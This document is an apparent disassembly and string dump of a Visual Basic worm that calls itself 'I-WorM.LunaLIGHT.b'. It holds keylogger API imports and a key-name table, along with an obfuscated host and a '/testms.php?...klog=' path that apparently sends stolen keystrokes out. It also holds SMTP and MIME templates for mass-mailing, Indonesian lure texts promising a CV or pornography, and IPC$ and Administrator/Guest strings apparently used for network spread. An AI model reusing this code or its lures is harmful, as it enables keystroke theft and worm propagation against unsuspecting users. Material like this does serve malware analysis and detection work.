File moonlight_4ee502b0ead248bae0a05466deb54e9bb532a9c41de1480425eb48eacf508e75.exe
Function:
    00409284
    00409284 04 00 00 00 01 00 88 00 58 00 00 00 ........X...
    00409290
    00409290 wstring "I-WorM.LunaLIGHT.b Aliase W32/MoonLight.P@mm",0
    004092ea
    004092ea 00 00 28 00 00 00 ..(...
    004092f0
    004092f0 wstring "Copyleft @ Devil.inc",0
    0040931a
    0040931a 00 00 1c 00 00 00 ......
    00409320
    00409320 wstring "www.vaksin.com",0
    0040933e
    0040933e 00 00 ..
    00409340 1a 00 00 00 ....
    00409344
    00409344 wstring "www.bsi.ac.id",0
    00409360
    00409360 struct VBDeclareNameLength
    00409360 cbName int 17
    00409364
    00409364 string "GetAsyncKeyState",0
    00409375
    00409375 00 00 00 ...
    00409378
    00409378 struct DeclareInfo
    00409378 lpszLibraryName uint32 0x406058
    0040937c lpszFunctionName uint32 0x409364
    00409380 dwFlags uint32 0x00040000
    00409384 lpCache uint32 0x41bfc8
    00409388 dwReserved uint32 0x00000000
    0040938c
    0040938c 00 00 00 00 ....
    00409390
    00409390fn_409390:
    00409390mov eax, [0x41bfd0]
    00409395or eax, eax
    00409397je 0x40939b
    00409399jmp eax
    0040939b
    0040939bloc_40939b:
    0040939bpush 0x409378
    004093a0mov eax, 0x4010e0
    004093a5call eax
    004093a7jmp eax
    00409390
    004093a9
    004093a9 00 00 00 ...
    004093ac
    004093ac struct VBDeclareNameLength
    004093ac cbName int 12
    004093b0
    004093b0 string "GetKeyState",0
    004093bc
    004093bc struct DeclareInfo
    004093bc lpszLibraryName uint32 0x406058
    004093c0 lpszFunctionName uint32 0x4093b0
    004093c4 dwFlags uint32 0x00040000
    004093c8 lpCache uint32 0x41bfd4
    004093cc dwReserved uint32 0x00000000
    004093d0
    004093d0 00 00 00 00 ....
    004093d4
    004093d4fn_4093d4:
    004093d4mov eax, [0x41bfdc]
    004093d9or eax, eax
    004093dbje 0x4093df
    004093ddjmp eax
    004093df
    004093dfloc_4093df:
    004093dfpush 0x4093bc
    004093e4mov eax, 0x4010e0
    004093e9call eax
    004093ebjmp eax
    004093d4
    004093ed
    004093ed 00 00 00 ...
    004093f0
    004093f0 struct VBDeclareNameLength
    004093f0 cbName int 13
    004093f4
    004093f4 string "Kernel32.dll",0
    00409401
    00409401 00 00 00 06 00 00 00 .......
    00409408
    00409408 wstring "MMM",0
    00409410
    00409410 struct DeclareInfo
    00409410 lpszLibraryName uint32 0x4093f4
    00409414 lpszFunctionName uint32 0x409228
    00409418 dwFlags uint32 0x00040000
    0040941c lpCache uint32 0x41bfe0
    00409420 dwReserved uint32 0x00000000
    00409424
    00409424 00 00 00 00 ....
    00409428
    00409428fn_409428:
    00409428mov eax, [0x41bfe8]
    0040942dor eax, eax
    0040942fje 0x409433
    00409431jmp eax
    00409433
    00409433loc_409433:
    00409433push 0x409410
    00409438mov eax, 0x4010e0
    0040943dcall eax
    0040943fjmp eax
    00409428
    00409441
    00409441 00 00 00 0c 00 0c 00 00 00 00 00 00 00 00 00 ...............
    00409450 2c 00 00 00 ,...
    00409454
    00409454 wstring "http://www.google.com/",0
    00409482
    00409482 00 00 0e 00 00 00 ......
    00409488
    00409488 wstring "http://",0
    00409498
    00409498 22 00 00 00 "...
    0040949c
    0040949c wstring "pfzlo'gl}ohz}'f{n",0
    004094c0
    004094c0 40 00 00 00 @...
    004094c4
    004094c4 wstring "/testms.php?mod=save&bkd=0&klog=",0
    00409506
    00409506 00 00 04 00 00 00 ......
    0040950c
    0040950c wstring "\r\n",0
    00409512
    00409512 00 00 06 00 00 00 ......
    00409518
    00409518 wstring "ZIP",0
    00409520
    00409520 1c 00 00 00 ....
    00409524
    00409524 wstring "\\moonlight.dll",0
    00409542
    00409542 00 00 08 00 00 00 ......
    00409548
    00409548 wstring "MIDI",0
    00409552
    00409552 00 00 28 00 00 00 ..(...
    00409558
    00409558 wstring "\\onceinabluemoon.mid",0
    00409582
    00409582 00 00 08 00 00 00 ......
    00409588
    00409588 wstring "open",0
    00409592
    00409592 00 00 04 00 00 00 ......
    00409598
    00409598 wstring ", ",0
    0040959e
    0040959e 00 00 ..
    004095a0 00 00 00 00 18 00 00 00 ........
    004095a8
    004095a8 wstring "############",0
    004095c2
    004095c2 00 00 30 00 00 00 ..0...
    004095c8
    004095c8 wstring "Windows Sockets Version ",0
    004095fa
    004095fa 00 00 3a 00 00 00 ..:...
    00409600
    00409600 wstring " is not supported by Windows ",0
    0040963c
    0040963c 50 00 00 00 P...
    00409640
    00409640 wstring "Sockets For 32 bit Windows environments.",0
    00409692
    00409692 00 00 4e 00 00 00 ..N...
    00409698
    00409698 wstring "This application requires a minimum of ",0
    004096e8
    004096e8 26 00 00 00 &...
    004096ec
    004096ec wstring " supported sockets.",0
    00409714
    00409714 1c 67 c4 a4 9f 49 1b 10 bb 78 00 aa .g...I...x..
    00409720 00 38 3c bb 80 67 c4 a4 9f 49 1b 10 bb 78 00 aa .8<..g...I...x..
    00409730 00 38 3c bb 00 00 00 00 14 97 40 00 24 97 40 00 .8<.......@.$.@.
    00409740 00 00 00 00 06 00 00 00 ........
    00409748
    00409748 wstring "220",0
    00409750
    00409750 0a 00 00 00 ....
    00409754
    00409754 wstring "HELO ",0
    00409760
    00409760 06 00 00 00 ....
    00409764
    00409764 wstring "250",0
    0040976c
    0040976c 18 00 00 00 ....
    00409770
    00409770 wstring "MAIL FROM: <",0
    0040978a
    0040978a 00 00 02 00 00 00 ......
    00409790
    00409790 wstring ">",0
    00409794
    00409794 14 00 00 00 ....
    00409798
    00409798 wstring "RCPT TO: <",0
    004097ae
    004097ae 00 00 ..
    004097b0 08 00 00 00 ....
    004097b4
    004097b4 wstring "DATA",0
    004097be
    004097be 00 00 ..
    004097c0 06 00 00 00 ....
    004097c4
    004097c4 wstring "354",0
    004097cc
    004097cc 28 00 00 00 (...
    004097d0
    004097d0 wstring "----_=_NextPart_000_",0
    004097fa
    004097fa 00 00 10 00 00 00 ......
    00409800
    00409800 wstring "00000000",0
    00409812
    00409812 00 00 0e 00 00 00 ......
    00409818
    00409818 wstring "From: <",0
    00409828
    00409828 0a 00 00 00 ....
    0040982c
    0040982c wstring "To: <",0
    00409838
    00409838 12 00 00 00 ....
    0040983c
    0040983c wstring "Subject: ",0
    00409850
    00409850 06 00 00 00 ....
    00409854
    00409854 wstring "ddd",0
    0040985c
    0040985c 00 00 00 00 ....
    00409860 1e 00 00 00 ....
    00409864
    00409864 wstring " yyyy hh:nn:ss ",0
    00409884
    00409884 22 00 00 00 "...
    00409888
    00409888 wstring "MIME-Version: 1.0",0
    004098ac
    004098ac 3c 00 00 00 <...
    004098b0
    004098b0 wstring "Content-Type: multipart/mixed;",0
    004098ee
    004098ee 00 00 ..
    004098f0 02 00 00 00 ....
    004098f4
    004098f4 wstring "\t",0
    004098f8
    004098f8 12 00 00 00 ....
    004098fc
    004098fc wstring "boundary=",0
    00409910
    00409910 02 00 00 00 ....
    00409914
    00409914 wstring "\"",0
    00409918
    00409918 04 00 00 00 ....
    0040991c
    0040991c wstring "--",0
    00409922
    00409922 00 00 1c 00 00 00 ......
    00409928
    00409928 wstring "Content-Type: ",0
    00409946
    00409946 00 00 16 00 00 00 ......
    0040994c
    0040994c wstring "text/plain;",0
    00409964
    00409964 10 00 00 00 ....
    00409968
    00409968 wstring "charset=",0
    0040997a
    0040997a 00 00 18 00 00 00 ......
    00409980
    00409980 wstring "windows-1255",0
    0040999a
    0040999a 00 00 3e 00 00 00 ..>...
    004099a0
    004099a0 wstring "Content-Transfer-Encoding: 7bit",0
    004099e0
    004099e0 02 00 00 00 ....
    004099e4
    004099e4 wstring "M",0
    004099e8
    004099e8 02 00 00 00 ....
    004099ec
    004099ec wstring "N",0
    004099f0
    004099f0 4e 00 00 00 N...
    004099f4
    004099f4 wstring "Content-Type: application/octet-stream;",0
    00409a44
    00409a44 0a 00 00 00 ....
    00409a48
    00409a48 wstring "name=",0
    00409a54
    00409a54 42 00 00 00 B...
    00409a58
    00409a58 wstring "Content-Transfer-Encoding: base64",0
    00409a9c
    00409a9c 42 00 00 00 B...
    00409aa0
    00409aa0 wstring "Content-Disposition: attachment; ",0
    00409ae4
    00409ae4 12 00 00 00 ....
    00409ae8
    00409ae8 wstring "filename=",0
    00409afc
    00409afc 08 00 00 00 ....
    00409b00
    00409b00 wstring "QUIT",0
    00409b0a
    00409b0a 00 00 02 00 00 00 ......
    00409b10
    00409b10 wstring "n",0
    00409b14
    00409b14 02 00 00 00 ....
    00409b18
    00409b18 wstring "O",0
    00409b1c
    00409b1c 02 00 00 00 ....
    00409b20
    00409b20 wstring "o",0
    00409b24
    00409b24 02 00 00 00 ....
    00409b28
    00409b28 wstring "A",0
    00409b2c
    00409b2c 02 00 00 00 ....
    00409b30
    00409b30 wstring "a",0
    00409b34
    00409b34 02 00 00 00 ....
    00409b38
    00409b38 wstring "B",0
    00409b3c
    00409b3c 02 00 00 00 ....
    00409b40
    00409b40 wstring "b",0
    00409b44
    00409b44 02 00 00 00 ....
    00409b48
    00409b48 wstring "C",0
    00409b4c
    00409b4c 02 00 00 00 ....
    00409b50
    00409b50 wstring "c",0
    00409b54
    00409b54 02 00 00 00 ....
    00409b58
    00409b58 wstring "D",0
    00409b5c
    00409b5c 02 00 00 00 ....
    00409b60
    00409b60 wstring "d",0
    00409b64
    00409b64 02 00 00 00 ....
    00409b68
    00409b68 wstring "E",0
    00409b6c
    00409b6c 02 00 00 00 ....
    00409b70
    00409b70 wstring "e",0
    00409b74
    00409b74 02 00 00 00 ....
    00409b78
    00409b78 wstring "F",0
    00409b7c
    00409b7c 02 00 00 00 ....
    00409b80
    00409b80 wstring "f",0
    00409b84
    00409b84 02 00 00 00 ....
    00409b88
    00409b88 wstring "G",0
    00409b8c
    00409b8c 02 00 00 00 ....
    00409b90
    00409b90 wstring "g",0
    00409b94
    00409b94 02 00 00 00 ....
    00409b98
    00409b98 wstring "H",0
    00409b9c
    00409b9c 02 00 00 00 ....
    00409ba0
    00409ba0 wstring "h",0
    00409ba4
    00409ba4 02 00 00 00 ....
    00409ba8
    00409ba8 wstring "I",0
    00409bac
    00409bac 02 00 00 00 ....
    00409bb0
    00409bb0 wstring "i",0
    00409bb4
    00409bb4 02 00 00 00 ....
    00409bb8
    00409bb8 wstring "J",0
    00409bbc
    00409bbc 02 00 00 00 ....
    00409bc0
    00409bc0 wstring "j",0
    00409bc4
    00409bc4 02 00 00 00 ....
    00409bc8
    00409bc8 wstring "K",0
    00409bcc
    00409bcc 02 00 00 00 ....
    00409bd0
    00409bd0 wstring "k",0
    00409bd4
    00409bd4 02 00 00 00 ....
    00409bd8
    00409bd8 wstring "L",0
    00409bdc
    00409bdc 02 00 00 00 ....
    00409be0
    00409be0 wstring "l",0
    00409be4
    00409be4 02 00 00 00 ....
    00409be8
    00409be8 wstring "x",0
    00409bec
    00409bec 02 00 00 00 ....
    00409bf0
    00409bf0 wstring "Y",0
    00409bf4
    00409bf4 02 00 00 00 ....
    00409bf8
    00409bf8 wstring "y",0
    00409bfc
    00409bfc 02 00 00 00 ....
    00409c00
    00409c00 wstring "Z",0
    00409c04
    00409c04 02 00 00 00 ....
    00409c08
    00409c08 wstring "z",0
    00409c0c
    00409c0c 02 00 00 00 ....
    00409c10
    00409c10 wstring "1",0
    00409c14
    00409c14 02 00 00 00 ....
    00409c18
    00409c18 wstring "!",0
    00409c1c
    00409c1c 02 00 00 00 ....
    00409c20
    00409c20 wstring "2",0
    00409c24
    00409c24 02 00 00 00 ....
    00409c28
    00409c28 wstring "3",0
    00409c2c
    00409c2c 02 00 00 00 ....
    00409c30
    00409c30 wstring "#",0
    00409c34
    00409c34 02 00 00 00 ....
    00409c38
    00409c38 wstring "4",0
    00409c3c
    00409c3c 02 00 00 00 ....
    00409c40
    00409c40 wstring "$",0
    00409c44
    00409c44 02 00 00 00 ....
    00409c48
    00409c48 wstring "5",0
    00409c4c
    00409c4c 02 00 00 00 ....
    00409c50
    00409c50 wstring "%",0
    00409c54
    00409c54 02 00 00 00 ....
    00409c58
    00409c58 wstring "6",0
    00409c5c
    00409c5c 02 00 00 00 ....
    00409c60
    00409c60 wstring "^",0
    00409c64
    00409c64 02 00 00 00 ....
    00409c68
    00409c68 wstring "7",0
    00409c6c
    00409c6c 02 00 00 00 ....
    00409c70
    00409c70 wstring "&",0
    00409c74
    00409c74 02 00 00 00 ....
    00409c78
    00409c78 wstring "8",0
    00409c7c
    00409c7c 02 00 00 00 ....
    00409c80
    00409c80 wstring "*",0
    00409c84
    00409c84 02 00 00 00 ....
    00409c88
    00409c88 wstring "9",0
    00409c8c
    00409c8c 02 00 00 00 ....
    00409c90
    00409c90 wstring "(",0
    00409c94
    00409c94 02 00 00 00 ....
    00409c98
    00409c98 wstring ")",0
    00409c9c
    00409c9c 16 00 00 00 ....
    00409ca0
    00409ca0 wstring "{backspace}",0
    00409cb8
    00409cb8 0a 00 00 00 ....
    00409cbc
    00409cbc wstring "{tab}",0
    00409cc8
    00409cc8 0e 00 00 00 ....
    00409ccc
    00409ccc wstring "{shift}",0
    00409cdc
    00409cdc 0c 00 00 00 ....
    00409ce0
    00409ce0 wstring "{ctrl}",0
    00409cee
    00409cee 00 00 ..
    00409cf0 0a 00 00 00 ....
    00409cf4
    00409cf4 wstring "{alt}",0
    00409d00
    00409d00 0e 00 00 00 ....
    00409d04
    00409d04 wstring "{pause}",0
    00409d14
    00409d14 0a 00 00 00 ....
    00409d18
    00409d18 wstring "{esc}",0
    00409d24
    00409d24 0a 00 00 00 ....
    00409d28
    00409d28 wstring "{end}",0
    00409d34
    00409d34 0c 00 00 00 ....
    00409d38
    00409d38 wstring "{home}",0
    00409d46
    00409d46 00 00 0c 00 00 00 ......
    00409d4c
    00409d4c wstring "{left}",0
    00409d5a
    00409d5a 00 00 00 00 00 00 ......
    00409d60 0e 00 00 00 ....
    00409d64
    00409d64 wstring "{right}",0
    00409d74
    00409d74 08 00 00 00 ....
    00409d78
    00409d78 wstring "{up}",0
    00409d82
    00409d82 00 00 0c 00 00 00 ......
    00409d88
    00409d88 wstring "{down}",0
    00409d96
    00409d96 00 00 10 00 00 00 ......
    00409d9c
    00409d9c wstring "{insert}",0
    00409dae
    00409dae 00 00 ..
    00409db0 10 00 00 00 ....
    00409db4
    00409db4 wstring "{Delete}",0
    00409dc6
    00409dc6 00 00 02 00 00 00 ......
    00409dcc
    00409dcc wstring ";",0
    00409dd0
    00409dd0 02 00 00 00 ....
    00409dd4
    00409dd4 wstring ":",0
    00409dd8
    00409dd8 02 00 00 00 ....
    00409ddc
    00409ddc wstring "=",0
    00409de0
    00409de0 02 00 00 00 ....
    00409de4
    00409de4 wstring "+",0
    00409de8
    00409de8 02 00 00 00 ....
    00409dec
    00409dec wstring ",",0
    00409df0
    00409df0 02 00 00 00 ....
    00409df4
    00409df4 wstring "<",0
    00409df8
    00409df8 02 00 00 00 ....
    00409dfc
    00409dfc wstring "-",0
    00409e00
    00409e00 02 00 00 00 ....
    00409e04
    00409e04 wstring "_",0
    00409e08
    00409e08 02 00 00 00 ....
    00409e0c
    00409e0c wstring "/",0
    00409e10
    00409e10 02 00 00 00 ....
    00409e14
    00409e14 wstring "?",0
    00409e18
    00409e18 02 00 00 00 ....
    00409e1c
    00409e1c wstring "`",0
    00409e20
    00409e20 02 00 00 00 ....
    00409e24
    00409e24 wstring "~",0
    00409e28
    00409e28 02 00 00 00 ....
    00409e2c
    00409e2c wstring "[",0
    00409e30
    00409e30 02 00 00 00 ....
    00409e34
    00409e34 wstring "{",0
    00409e38
    00409e38 02 00 00 00 ....
    00409e3c
    00409e3c wstring "|",0
    00409e40
    00409e40 02 00 00 00 ....
    00409e44
    00409e44 wstring "]",0
    00409e48
    00409e48 02 00 00 00 ....
    00409e4c
    00409e4c wstring "}",0
    00409e50
    00409e50 02 00 00 00 ....
    00409e54
    00409e54 wstring "'",0
    00409e58
    00409e58 0a 00 00 00 ....
    00409e5c
    00409e5c wstring "{Del}",0
    00409e68
    00409e68 08 00 00 00 ....
    00409e6c
    00409e6c wstring "{F1}",0
    00409e76
    00409e76 00 00 08 00 00 00 ......
    00409e7c
    00409e7c wstring "{F2}",0
    00409e86
    00409e86 00 00 08 00 00 00 ......
    00409e8c
    00409e8c wstring "{F3}",0
    00409e96
    00409e96 00 00 08 00 00 00 ......
    00409e9c
    00409e9c wstring "{F4}",0
    00409ea6
    00409ea6 00 00 08 00 00 00 ......
    00409eac
    00409eac wstring "{F5}",0
    00409eb6
    00409eb6 00 00 08 00 00 00 ......
    00409ebc
    00409ebc wstring "{F6}",0
    00409ec6
    00409ec6 00 00 08 00 00 00 ......
    00409ecc
    00409ecc wstring "{F7}",0
    00409ed6
    00409ed6 00 00 08 00 00 00 ......
    00409edc
    00409edc wstring "{F8}",0
    00409ee6
    00409ee6 00 00 08 00 00 00 ......
    00409eec
    00409eec wstring "{F9}",0
    00409ef6
    00409ef6 00 00 0a 00 00 00 ......
    00409efc
    00409efc wstring "{F10}",0
    00409f08
    00409f08 0a 00 00 00 ....
    00409f0c
    00409f0c wstring "{F11}",0
    00409f18
    00409f18 0a 00 00 00 ....
    00409f1c
    00409f1c wstring "{F12}",0
    00409f28
    00409f28 56 00 69 00 73 00 69 00 V.i.s.i.
    00409f30 62 00 6c 00 65 00 00 00 12 00 00 00 b.l.e.......
    00409f3c
    00409f3c wstring "{NumLock}",0
    00409f50
    00409f50 18 00 00 00 ....
    00409f54
    00409f54 wstring "{ScrollLock}",0
    00409f6e
    00409f6e 00 00 ..
    00409f70 1a 00 00 00 ....
    00409f74
    00409f74 wstring "{PrintScreen}",0
    00409f90
    00409f90 10 00 00 00 ....
    00409f94
    00409f94 wstring "{PageUp}",0
    00409fa6
    00409fa6 00 00 14 00 00 00 ......
    00409fac
    00409fac wstring "{Pagedown}",0
    00409fc2
    00409fc2 00 00 0c 00 04 00 00 00 00 00 00 00 00 00 ..............
    00409fd0 58 00 00 00 X...
    00409fd4
    00409fd4 wstring "Zfo}~h{lUD`j{fzfo}U@g}l{gl})Hjjf|g})Dhghnl{U",0
    0040a02e
    0040a02e 00 00 ..
    0040a030 28 00 00 00 (...
    0040a034
    0040a034 wstring "Default Mail Account",0
    0040a05e
    0040a05e 00 00 ..
    0040a060 08 00 00 00 ....
    0040a064
    0040a064 wstring "mxs.",0
    0040a06e
    0040a06e 00 00 ..
    0040a070 0c 00 00 00 ....
    0040a074
    0040a074 wstring "relay.",0
    0040a082
    0040a082 00 00 0a 00 00 00 ......
    0040a088
    0040a088 wstring "gate.",0
    0040a094
    0040a094 6a 00 00 00 j...
    0040a098
    0040a098 wstring "Zfo}~h{lUD`j{fzfo}U@g}l{gl})Hjjf|g})Dhghnl{UHjjf|g}zU",0
    0040a104
    0040a104 16 00 00 00 ....
    0040a108
    0040a108 wstring "SMTP Server",0
    0040a120
    0040a120 24 00 00 00 $...
    0040a124
    0040a124 wstring "SMTP Email Address",0
    0040a14a
    0040a14a 00 00 1e 00 00 00 ......
    0040a150
    0040a150 wstring "hackersmail.com",0
    0040a170
    0040a170 16 00 00 00 ....
    0040a174
    0040a174 wstring "hotmail.com",0
    0040a18c
    0040a18c 12 00 00 00 ....
    0040a190
    0040a190 wstring "gmail.com",0
    0040a1a4
    0040a1a4 0e 00 00 00 ....
    0040a1a8
    0040a1a8 wstring "msn.com",0
    0040a1b8
    0040a1b8 18 00 00 00 ....
    0040a1bc
    0040a1bc wstring "yahoo.com.sg",0
    0040a1d6
    0040a1d6 00 00 18 00 00 00 ......
    0040a1dc
    0040a1dc wstring "Lovemail.com",0
    0040a1f6
    0040a1f6 00 00 0a 00 00 00 ......
    0040a1fc
    0040a1fc wstring "smtp.",0
    0040a208
    0040a208 0a 00 00 00 ....
    0040a20c
    0040a20c wstring "mail.",0
    0040a218
    0040a218 08 00 00 00 ....
    0040a21c
    0040a21c wstring "ns1.",0
    0040a226
    0040a226 00 00 08 00 00 00 ......
    0040a22c
    0040a22c wstring "mx1.",0
    0040a236
    0040a236 00 00 0c 00 00 00 ......
    0040a23c
    0040a23c wstring "mail1.",0
    0040a24a
    0040a24a 00 00 06 00 00 00 ......
    0040a250
    0040a250 wstring "mx.",0
    0040a258
    0040a258 0c 00 00 00 ....
    0040a25c
    0040a25c wstring "D`phk`",0
    0040a26a
    0040a26a 00 00 0c 00 00 00 ......
    0040a270
    0040a270 wstring "ghm`gl",0
    0040a27e
    0040a27e 00 00 ..
    0040a280 08 00 00 00 ....
    0040a284
    0040a284 wstring "alee",0
    0040a28e
    0040a28e 00 00 ..
    0040a290 0a 00 00 00 ....
    0040a294
    0040a294 wstring "\x7f`mlf",0
    0040a2a0
    0040a2a0 06 00 00 00 ....
    0040a2a4
    0040a2a4 wstring "Mfj",0
    0040a2ac
    0040a2ac 08 00 00 00 ....
    0040a2b0
    0040a2b0 wstring "o`el",0
    0040a2ba
    0040a2ba 00 00 10 00 00 00 ......
    0040a2c0
    0040a2c0 wstring "}a`zo`el",0
    0040a2d2
    0040a2d2 00 00 10 00 00 00 ......
    0040a2d8
    0040a2d8 wstring "gllm)pf|",0
    0040a2ea
    0040a2ea 00 00 18 00 00 00 ......
    0040a2f0
    0040a2f0 wstring "Tolong Aku..",0
    0040a30a
    0040a30a 00 00 0c 00 00 00 ......
    0040a310
    0040a310 wstring "Tolong",0
    0040a31e
    0040a31e 00 00 ..
    0040a320 44 00 00 00 D...
    0040a324
    0040a324 wstring "Aku Mencari Wanita yang aku Cintai",0
    0040a36a
    0040a36a 00 00 3e 00 00 00 ..>...
    0040a370
    0040a370 wstring "dan cara menggunakan email mass",0
    0040a3b0
    0040a3b0 68 00 00 00 h...
    0040a3b4
    0040a3b4 wstring "ini adalah cara terakhirku ,di lampiran ini terdapat",0
    0040a41e
    0040a41e 00 00 ..
    0040a420 00 00 00 00 42 00 00 00 ....B...
    0040a428
    0040a428 wstring "foto dan data Wanita tsb Thank's ",0
    0040a46c
    0040a46c 48 00 00 00 H...
    0040a470
    0040a470 wstring "NB:Mohon di teruskan kesahabat anda ",0
    0040a4ba
    0040a4ba 00 00 42 00 00 00 ..B...
    0040a4c0
    0040a4c0 wstring "aku mahasiswa BSI Margonda smt 4",0
    0040a504
    0040a504 48 00 00 00 H...
    0040a508
    0040a508 wstring "yah aku sedang membutuhkan pekerjaan",0
    0040a552
    0040a552 00 00 54 00 00 00 ..T...
    0040a558
    0040a558 wstring "oh ya aku tahu anda dr milis ilmu komputer",0
    0040a5ae
    0040a5ae 00 00 ..
    0040a5b0 1a 00 00 00 ....
    0040a5b4
    0040a5b4 wstring "Japannes Porn",0
    0040a5d0
    0040a5d0 0a 00 00 00 ....
    0040a5d4
    0040a5d4 wstring "Anton",0
    0040a5e0
    0040a5e0 14 00 00 00 ....
    0040a5e4
    0040a5e4 wstring "Firmansyah",0
    0040a5fa
    0040a5fa 00 00 70 00 00 00 ..p...
    0040a600
    0040a600 wstring "di lampiran ini terdapat curriculum vittae dan foto saya",0
    0040a672
    0040a672 00 00 04 00 00 00 ......
    0040a678
    0040a678 wstring "hi",0
    0040a67e
    0040a67e 00 00 ..
    0040a680 28 00 00 00 (...
    0040a684
    0040a684 wstring "hey Indonesian porn ",0
    0040a6ae
    0040a6ae 00 00 ..
    0040a6b0 24 00 00 00 $...
    0040a6b4
    0040a6b4 wstring "Agnes Monica pic's",0
    0040a6da
    0040a6da 00 00 24 00 00 00 ..$...
    0040a6e0
    0040a6e0 wstring "Fucking With Me :D",0
    0040a706
    0040a706 00 00 58 00 00 00 ..X...
    0040a70c
    0040a70c wstring "please read again what i have written to you",0
    0040a766
    0040a766 00 00 10 00 00 00 ......
    0040a76c
    0040a76c wstring "Hot ... ",0
    0040a77e
    0040a77e 00 00 ..
    0040a780 1e 00 00 00 ....
    0040a784
    0040a784 wstring "miss Indonesian",0
    0040a7a4
    0040a7a4 10 00 00 00 ....
    0040a7a8
    0040a7a8 wstring "Cek This",0
    0040a7ba
    0040a7ba 00 00 0a 00 00 00 ......
    0040a7c0
    0040a7c0 wstring "hello",0
    0040a7cc
    0040a7cc 08 00 00 00 ....
    0040a7d0
    0040a7d0 wstring "Joko",0
    0040a7da
    0040a7da 00 00 0a 00 00 00 ......
    0040a7e0
    0040a7e0 wstring "Titta",0
    0040a7ec
    0040a7ec 12 00 00 00 ....
    0040a7f0
    0040a7f0 wstring "Lanelitta",0
    0040a804
    0040a804 06 00 00 00 ....
    0040a808
    0040a808 wstring "Ami",0
    0040a810
    0040a810 08 00 00 00 ....
    0040a814
    0040a814 wstring "Riri",0
    0040a81e
    0040a81e 00 00 ..
    0040a820 12 00 00 00 ....
    0040a824
    0040a824 wstring "Fransisca",0
    0040a838
    0040a838 0e 00 00 00 ....
    0040a83c
    0040a83c wstring "Claudia",0
    0040a84c
    0040a84c 12 00 00 00 ....
    0040a850
    0040a850 wstring "Fransiska",0
    0040a864
    0040a864 0e 00 00 00 ....
    0040a868
    0040a868 wstring "Cicilia",0
    0040a878
    0040a878 0e 00 00 00 ....
    0040a87c
    0040a87c wstring "sisilia",0
    0040a88c
    0040a88c 0a 00 00 00 ....
    0040a890
    0040a890 wstring "Hilda",0
    0040a89c
    0040a89c 0c 00 00 00 ....
    0040a8a0
    0040a8a0 wstring "Nadine",0
    0040a8ae
    0040a8ae 00 00 ..
    0040a8b0 06 00 00 00 ....
    0040a8b4
    0040a8b4 wstring "Ida",0
    0040a8bc
    0040a8bc 0a 00 00 00 ....
    0040a8c0
    0040a8c0 wstring "Julia",0
    0040a8cc
    0040a8cc 08 00 00 00 ....
    0040a8d0
    0040a8d0 wstring "Nana",0
    0040a8da
    0040a8da 00 00 06 00 00 00 ......
    0040a8e0
    0040a8e0 wstring "Joe",0
    0040a8e8
    0040a8e8 0e 00 00 00 ....
    0040a8ec
    0040a8ec wstring "CoolMan",0
    0040a8fc
    0040a8fc 08 00 00 00 ....
    0040a900
    0040a900 wstring "Vivi",0
    0040a90a
    0040a90a 00 00 12 00 00 00 ......
    0040a910
    0040a910 wstring "Valentina",0
    0040a924
    0040a924 0a 00 00 00 ....
    0040a928
    0040a928 wstring "Linda",0
    0040a934
    0040a934 08 00 00 00 ....
    0040a938
    0040a938 wstring "Rita",0
    0040a942
    0040a942 00 00 0c 00 00 00 ......
    0040a948
    0040a948 wstring "sasuke",0
    0040a956
    0040a956 00 00 0a 00 00 00 ......
    0040a95c
    0040a95c wstring "Davis",0
    0040a968
    0040a968 0a 00 00 00 ....
    0040a96c
    0040a96c wstring "Anata",0
    0040a978
    0040a978 0a 00 00 00 ....
    0040a97c
    0040a97c wstring "Emily",0
    0040a988
    0040a988 12 00 00 00 ....
    0040a98c
    0040a98c wstring "HellSpawn",0
    0040a9a0
    0040a9a0 06 00 00 00 ....
    0040a9a4
    0040a9a4 wstring "Lia",0
    0040a9ac
    0040a9ac 08 00 00 00 ....
    0040a9b0
    0040a9b0 wstring "Fria",0
    0040a9ba
    0040a9ba 00 00 0a 00 00 00 ......
    0040a9c0
    0040a9c0 wstring "admin",0
    0040a9cc
    0040a9cc 0a 00 00 00 ....
    0040a9d0
    0040a9d0 wstring "SaZZA",0
    0040a9dc
    0040a9dc 08 00 00 00 ....
    0040a9e0
    0040a9e0 wstring "Susi",0
    0040a9ea
    0040a9ea 00 00 0a 00 00 00 ......
    0040a9f0
    0040a9f0 wstring "Agnes",0
    0040a9fc
    0040a9fc 1a 00 00 00 ....
    0040aa00
    0040aa00 wstring "JuwitaNingrum",0
    0040aa1c
    0040aa1c 0e 00 00 00 ....
    0040aa20
    0040aa20 wstring "Natalia",0
    0040aa30
    0040aa30 0c 00 00 00 ....
    0040aa34
    0040aa34 wstring "telkom",0
    0040aa42
    0040aa42 00 00 0c 00 00 00 ......
    0040aa48
    0040aa48 wstring "astaga",0
    0040aa56
    0040aa56 00 00 0a 00 00 00 ......
    0040aa5c
    0040aa5c wstring "boleh",0
    0040aa68
    0040aa68 0a 00 00 00 ....
    0040aa6c
    0040aa6c wstring "PLASA",0
    0040aa78
    0040aa78 08 00 00 00 ....
    0040aa7c
    0040aa7c wstring "indo",0
    0040aa86
    0040aa86 00 00 0c 00 00 00 ......
    0040aa8c
    0040aa8c wstring "warung",0
    0040aa9a
    0040aa9a 00 00 08 00 00 00 ......
    0040aaa0
    0040aaa0 wstring "gaul",0
    0040aaaa
    0040aaaa 00 00 04 00 00 00 ......
    0040aab0
    0040aab0 wstring "id",0
    0040aab6
    0040aab6 00 00 08 00 00 00 ......
    0040aabc
    0040aabc wstring ".zip",0
    0040aac6
    0040aac6 00 00 04 00 00 00 ......
    0040aacc
    0040aacc wstring "==",0
    0040aad2
    0040aad2 00 00 01 00 96 00 01 00 00 00 00 00 00 00 ..............
    0040aae0 00 00 00 00 01 10 00 00 00 00 00 00 34 00 00 00 ............4...
    0040aaf0
    0040aaf0 wstring "Please Enter The Password!",0
    0040ab26
    0040ab26 00 00 22 00 00 00 .."...
    0040ab2c
    0040ab2c wstring "Enter the comment",0
    0040ab50
    0040ab50 01 00 96 01 04 00 00 00 00 00 00 00 00 00 00 00 ................
    0040ab60 64 00 00 00 00 00 00 00 04 00 00 00 d...........
    0040ab6c
    0040ab6c wstring "\\\\",0
    0040ab72
    0040ab72 00 00 0a 00 00 00 ......
    0040ab78
    0040ab78 wstring "\\IPC$",0
    0040ab84
    0040ab84 1a 00 00 00 ....
    0040ab88
    0040ab88 wstring "Administrator",0
    0040aba4
    0040aba4 0a 00 00 00 ....
    0040aba8
    0040aba8 wstring "IWAM_",0
    0040abb4
    0040abb4 0a 00 00 00 ....
    0040abb8
    0040abb8 wstring "IUSR_",0
    0040abc4
    0040abc4 0a 00 00 00 ....
    0040abc8
    0040abc8 wstring "Guest",0
    0040abd4
